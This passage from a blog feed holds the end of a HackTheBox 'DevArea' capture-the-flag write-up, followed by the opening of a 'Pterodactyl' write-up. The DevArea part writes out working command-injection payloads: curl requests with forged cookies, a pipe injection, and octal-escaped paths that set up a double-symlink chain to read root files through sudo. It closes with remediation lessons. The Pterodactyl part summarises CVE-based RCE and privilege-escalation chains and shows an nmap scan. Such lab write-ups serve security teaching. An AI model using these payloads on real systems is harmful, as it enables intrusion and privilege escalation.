&lt;p&gt;The Flask app uses an incomplete regex with &lt;code&gt;shell=True&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;SAFE_SERVICE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;^[^;/\&amp;amp;.&amp;lt;&amp;gt;\rA-Z]*$&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;systemctl status --no-pager &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="c1"&gt;# ← dangerous
&lt;/span&gt;    &lt;span class="n"&gt;capture_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The regex blocks &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;/&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt;, &lt;code&gt;.&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, uppercase — but &lt;strong&gt;not &lt;code&gt;|&lt;/code&gt;&lt;/strong&gt;. Pipe injection works:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"session=&amp;lt;FORGED_COOKIE&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://127.0.0.1:7777/service-status &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"service=ssh | id"&lt;/span&gt;
&lt;span class="c"&gt;# uid=1002(syswatch)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;RCE as &lt;code&gt;syswatch&lt;/code&gt; confirmed — this user can write to &lt;code&gt;/opt/syswatch/logs/&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.4 Double Symlink Attack
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;The vulnerability in &lt;code&gt;log_message()&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;syswatch-monitor&lt;/code&gt; timer (and &lt;code&gt;syswatch.sh&lt;/code&gt; itself) executes plugins that call &lt;code&gt;log_message()&lt;/code&gt; from &lt;code&gt;common.sh&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;log_message&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;logfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$logfile&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$logfile&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;    &lt;span class="c"&gt;# removes ONE level of symlink&lt;/span&gt;
        : &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$logfile&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;          &lt;span class="c"&gt;# creates file — follows remaining chain!&lt;/span&gt;
        &lt;span class="nb"&gt;chmod &lt;/span&gt;644 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$logfile&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;fi
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; ...&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; - &lt;/span&gt;&lt;span class="nv"&gt;$msg&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$logfile&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why double symlink bypasses the check:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;[ -L "$logfile" ]&lt;/code&gt; only tests whether the path itself is a symlink — it does &lt;strong&gt;not&lt;/strong&gt; follow the chain. With two links:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;evil.log → chain.log → /root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Script sees &lt;code&gt;evil.log&lt;/code&gt; is a symlink → removes it&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;: &amp;gt; "evil.log"&lt;/code&gt; recreates the name — the shell follows &lt;code&gt;chain.log&lt;/code&gt; → &lt;code&gt;/root/root.txt&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The privileged process now reads/writes directly into &lt;code&gt;/root/root.txt&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The regex in &lt;code&gt;/service-status&lt;/code&gt; blocks &lt;code&gt;/&lt;/code&gt; and &lt;code&gt;.&lt;/code&gt;, so we use &lt;code&gt;printf&lt;/code&gt; octal escapes to construct paths without those characters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — Create the tracking pointer link (&lt;code&gt;chain.log → /root/root.txt&lt;/code&gt;):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"session=&amp;lt;FORGED_COOKIE&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://127.0.0.1:7777/service-status &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"service=ssh | ln -sf &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'\057root\057root\056txt'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'\057opt\057syswatch\057logs\057chain\056log'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 2 — Create the primary verification link (&lt;code&gt;evil.log → chain.log&lt;/code&gt;):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"session=&amp;lt;FORGED_COOKIE&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://127.0.0.1:7777/service-status &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"service=ssh | ln -sf &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'chain\056log'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'\057opt\057syswatch\057logs\057evil\056log'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 3 — Verify the chain:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"session=&amp;lt;FORGED_COOKIE&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://127.0.0.1:7777/service-status &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"service=ssh | ls -la &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'\057opt\057syswatch\057logs\057'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="c"&gt;# evil.log -&amp;gt; chain.log&lt;/span&gt;
&lt;span class="c"&gt;# chain.log -&amp;gt; /root/root.txt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 4 — Read the root flag instantly via sudo:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Rather than waiting up to 5 minutes for the background timer, we invoke &lt;code&gt;syswatch.sh&lt;/code&gt; directly as root using the &lt;code&gt;logs&lt;/code&gt; subcommand:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /opt/syswatch/syswatch.sh logs evil.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why this works immediately:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When &lt;code&gt;syswatch.sh logs evil.log&lt;/code&gt; runs, it calls the same &lt;code&gt;log_message()&lt;/code&gt; logic — but because we invoked it with &lt;code&gt;sudo&lt;/code&gt;, every file operation executes with full root privileges instantly. The security check inspects &lt;code&gt;evil.log&lt;/code&gt; and sees it points to &lt;code&gt;chain.log&lt;/code&gt;, a file inside the permitted logs directory. It passes. The script then executes &lt;code&gt;cat evil.log&lt;/code&gt;, which the kernel resolves recursively:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;evil.log → chain.log → /root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The root flag prints directly to your terminal — no timer, no waiting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Root flag captured!&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Attack Chain Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Reconnaissance&lt;/td&gt;
&lt;td&gt;Nmap&lt;/td&gt;
&lt;td&gt;Identified FTP, SOAP service, Hoverfly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Anonymous FTP&lt;/td&gt;
&lt;td&gt;Download employee-service.jar&lt;/td&gt;
&lt;td&gt;Access to application binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JAR Analysis&lt;/td&gt;
&lt;td&gt;jadx-gui decompilation&lt;/td&gt;
&lt;td&gt;Discovered Apache CXF SOAP endpoint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2022-46364&lt;/td&gt;
&lt;td&gt;Apache CXF MTOM SSRF&lt;/td&gt;
&lt;td&gt;Arbitrary file read — no auth required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Extraction&lt;/td&gt;
&lt;td&gt;Read hoverfly.service&lt;/td&gt;
&lt;td&gt;Hoverfly dashboard credentials&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2025-54123&lt;/td&gt;
&lt;td&gt;Hoverfly middleware injection&lt;/td&gt;
&lt;td&gt;RCE as dev_ryan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User Flag&lt;/td&gt;
&lt;td&gt;Reverse shell&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/dev_ryan/user.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Secret Leak&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/etc/syswatch.env&lt;/code&gt; world-readable&lt;/td&gt;
&lt;td&gt;Flask signing key exposed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Session Forgery&lt;/td&gt;
&lt;td&gt;Flask SecureCookieSession&lt;/td&gt;
&lt;td&gt;Admin access to internal web GUI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command Injection&lt;/td&gt;
&lt;td&gt;Pipe `\&lt;/td&gt;
&lt;td&gt;` bypasses regex&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Double Symlink&lt;/td&gt;
&lt;td&gt;TOCTOU in log_message()&lt;/td&gt;
&lt;td&gt;Symlink chain set up via syswatch user&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sudo Bypass&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;syswatch.sh logs&lt;/code&gt; NOPASSWD rule&lt;/td&gt;
&lt;td&gt;Instant root read-through via sudo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root Flag&lt;/td&gt;
&lt;td&gt;Symlink read&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/root.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  8. Key Vulnerabilities &amp;amp; Lessons
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Anonymous FTP Enabled&lt;/strong&gt; — Never enable anonymous FTP on production servers. It exposed the application binary which revealed the entire attack surface.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. CVE-2022-46364 — Apache CXF SSRF (CVSS 9.8)&lt;/strong&gt; — Upgrade to CXF ≥3.5.5 / ≥3.4.10. The SSRF provided a file read primitive that unlocked the entire attack chain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Credentials in Systemd Service Files&lt;/strong&gt; — Service files are world-readable by default. Never embed credentials directly — use systemd credential storage or a secrets manager.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Leaked Flask Secret Key&lt;/strong&gt; — &lt;code&gt;/etc/syswatch.env&lt;/code&gt; was readable by all users. A leaked signing key allows forging any Flask session cookie. Restrict env files: &lt;code&gt;chmod 600 /etc/syswatch.env&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. CVE-2025-54123 — Hoverfly Middleware Injection&lt;/strong&gt; — The middleware API accepted arbitrary binaries and scripts with no validation. Upgrade Hoverfly and restrict API access to trusted networks only.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Incomplete Regex with shell=True&lt;/strong&gt; — Denylisting injection characters always misses something — here it missed &lt;code&gt;|&lt;/code&gt;. Always use &lt;code&gt;subprocess.run(["systemctl", "status", service])&lt;/code&gt; with a list to avoid shell interpretation entirely.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7. Double Symlink TOCTOU&lt;/strong&gt; — &lt;code&gt;[ -L "$logfile" ]&lt;/code&gt; resolves only one symlink level. Use &lt;code&gt;readlink -f&lt;/code&gt; to fully resolve paths and validate they stay within the intended directory before any write operation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8. Overly Permissive Sudo Rule&lt;/strong&gt; — The &lt;code&gt;NOPASSWD&lt;/code&gt; rule for &lt;code&gt;syswatch.sh&lt;/code&gt; with a denylist approach (&lt;code&gt;!web-stop&lt;/code&gt;, &lt;code&gt;!web-restart&lt;/code&gt;) is inherently unsafe. Any subcommand not explicitly blocked — including &lt;code&gt;logs&lt;/code&gt; — is permitted as root. Sudo rules should use an allowlist, not a denylist.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;DevArea demonstrates a realistic multi-stage attack chain where each vulnerability enables the next:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Anonymous FTP exposes the application binary&lt;/li&gt;
&lt;li&gt;Binary analysis reveals the technology stack&lt;/li&gt;
&lt;li&gt;Unauthenticated SSRF gives arbitrary file read&lt;/li&gt;
&lt;li&gt;File read exposes service credentials&lt;/li&gt;
&lt;li&gt;Outdated middleware with known RCE gives initial shell&lt;/li&gt;
&lt;li&gt;World-readable secrets enable authentication bypass&lt;/li&gt;
&lt;li&gt;Incomplete sanitization allows command injection&lt;/li&gt;
&lt;li&gt;A subtle symlink race condition combined with a permissive sudo rule leads to instant root&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every vulnerability here has been seen in real-world environments. Defense in depth — patching, least privilege, proper input handling — would have broken this chain at any link.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Have you solved DevArea? Drop your approach in the comments! Follow for more HackTheBox writeups and security research.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>webexploitation</category>
    </item>
    <item>
      <title>HackTheBox : Pterodactyl Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sun, 19 Jul 2026 15:23:09 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-pterodactyl-writeup-pgf</link>
      <guid>https://dev.to/exploitnotes/hackthebox-pterodactyl-writeup-pgf</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Pterodactyl is a Linux box built around an unauthenticated RCE in the Pterodactyl game-server management panel. A static "MonitorLand" landing page on port 80 gives no functionality of its own, but a leaked &lt;code&gt;changelog.txt&lt;/code&gt; discloses the exact panel version (v1.11.10) and backend stack (PHP-PEAR, MariaDB). Virtual host fuzzing turns up the actual panel at &lt;code&gt;panel.pterodactyl.htb&lt;/code&gt;, and the disclosed version maps directly to CVE-2025-49132 - an unauthenticated PHP object-deserialization RCE via the &lt;code&gt;/locales/locale.json&lt;/code&gt; endpoint, abusable through PHP-PEAR to gain code execution as &lt;code&gt;wwwrun&lt;/code&gt;. From there, the Laravel &lt;code&gt;.env&lt;/code&gt; file leaks MariaDB credentials, and dumping the &lt;code&gt;users&lt;/code&gt; table yields bcrypt password hashes; cracking one with &lt;code&gt;john&lt;/code&gt; recovers valid SSH credentials for &lt;code&gt;phileasfogg3&lt;/code&gt;, who owns the box's only real home directory - and the user flag.&lt;/p&gt;

&lt;p&gt;Privilege escalation chases a D-Bus/udisks/polkit trust chain surfaced during manual and automated enumeration. The direct route, CVE-2025-6019 (a libblockdev/udisks LPE), requires an &lt;code&gt;allow_active&lt;/code&gt; (physically-present) session, which an SSH session doesn't satisfy by default. Fingerprinting the OS (openSUSE Leap 15.6) leads to a second bug, CVE-2025-6018 (a PAM/&lt;code&gt;pam-config&lt;/code&gt; flaw), which promotes a plain SSH session to &lt;code&gt;allow_active&lt;/code&gt;. Chaining the two - first elevating the session's Polkit context, then using that context to trigger a SUID bash via a crafted XFS filesystem mount through &lt;code&gt;udisks&lt;/code&gt; - yields a root shell and the root flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key techniques:&lt;/strong&gt; information disclosure via leaked changelog -&amp;gt; vhost enumeration -&amp;gt; CVE-2025-49132 (Pterodactyl Panel unauthenticated RCE via PEAR-based deserialization) -&amp;gt; Laravel &lt;code&gt;.env&lt;/code&gt; credential disclosure -&amp;gt; MariaDB credential dump -&amp;gt; offline bcrypt cracking -&amp;gt; SSH foothold -&amp;gt; CVE-2025-6018 (PAM &lt;code&gt;allow_active&lt;/code&gt; session escalation) -&amp;gt; CVE-2025-6019 (libblockdev/udisks LPE via crafted XFS mount) -&amp;gt; SUID bash -&amp;gt; root.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;p&gt;An &lt;code&gt;nmap&lt;/code&gt; scan was run to identify open ports and services.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sCV&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; nmap-pterodactyl

Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2026-02-09 07:01 EST
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;pterodactyl.htb &lt;span class="o"&gt;(&lt;/span&gt;&amp;lt;MACHINE-IP&amp;gt;&lt;span class="o"&gt;)&lt;/span&gt;
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.22s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 978 filtered tcp ports &lt;span class="o"&gt;(&lt;/span&gt;no-response&lt;span class="o"&gt;)&lt;/span&gt;, 18 filtered tcp ports &lt;span class="o"&gt;(&lt;/span&gt;admin-prohibited&lt;span class="o"&gt;)&lt;/span&gt;
PORT     STATE  SERVICE  VERSION
22/tcp   open   ssh      OpenSSH 9.6 &lt;span class="o"&gt;(&lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
| ssh-hostkey:
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
80/tcp   open   http     nginx 1.21.5
|_http-title: &lt;span class="s2"&gt;"My Minecraft Server"&lt;/span&gt;
|_http-server-header: nginx/1.21.5
443/tcp  closed https
8080/tcp closed http-proxy
Aggressive OS guesses: Linux 5.0 - 5.14 &lt;span class="o"&gt;(&lt;/span&gt;98%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.15 - 5.19 &lt;span class="o"&gt;(&lt;/span&gt;94%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 2.6.32 - 3.13 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;
No exact OS matches &lt;span class="k"&gt;for &lt;/span&gt;host &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;test &lt;/span&gt;conditions non-ideal&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Network Distance: 2 hops

TRACEROUTE &lt;span class="o"&gt;(&lt;/span&gt;using port 443/tcp&lt;span class="o"&gt;)&lt;/span&gt;
HOP RTT       ADDRESS
1   216.42 ms 10.10.14.1
2   210.40 ms pterodactyl.htb &lt;span class="o"&gt;(&lt;/span&gt;&amp;lt;MACHINE-IP&amp;gt;&lt;span class="o"&gt;)&lt;/span&gt;

Nmap &lt;span class="k"&gt;done&lt;/span&gt;: 1 IP address &lt;span class="o"&gt;(&lt;/span&gt;1 host up&lt;span class="o"&gt;)&lt;/span&gt; scanned &lt;span class="k"&gt;in &lt;/span&gt;34.08 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two services are exposed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;22/tcp - SSH&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;80/tcp - HTTP (nginx)&lt;/strong&gt;, titled "My Minecraft Server"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;pterodactyl.htb&lt;/code&gt; was added to &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nano /etc/hosts
&amp;lt;MACHINE-IP&amp;gt; pterodactyl.htb panel.pterodactyl.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  2. Web Enumeration
&lt;/h2&gt;

&lt;p&gt;The site itself is a static "MonitorLand" landing page for a Minecraft server community, with no interactive functionality:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxe14o02dqzar3mdmos2m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxe14o02dqzar3mdmos2m.png" alt=" " width="799" height="399"&gt;&lt;/a&gt;&lt;/p&gt;

